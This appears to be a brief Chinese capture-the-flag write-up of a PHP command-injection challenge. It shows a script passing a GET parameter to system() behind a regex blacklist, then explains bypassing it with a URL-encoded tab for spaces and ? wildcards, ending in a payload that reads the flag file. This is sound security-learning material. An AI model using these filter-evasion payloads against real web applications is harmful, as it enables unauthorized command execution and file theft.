代码审计
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c))
//增加了数字,$,*过滤
{
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这里把
$
*
过滤掉了,那么就不能用${IFS}
了,这里用%09
提交后会自动解码为tap
键,不会被正则匹配上,*
号被过滤,可以用?
进行代替?c=tac%09fla??php||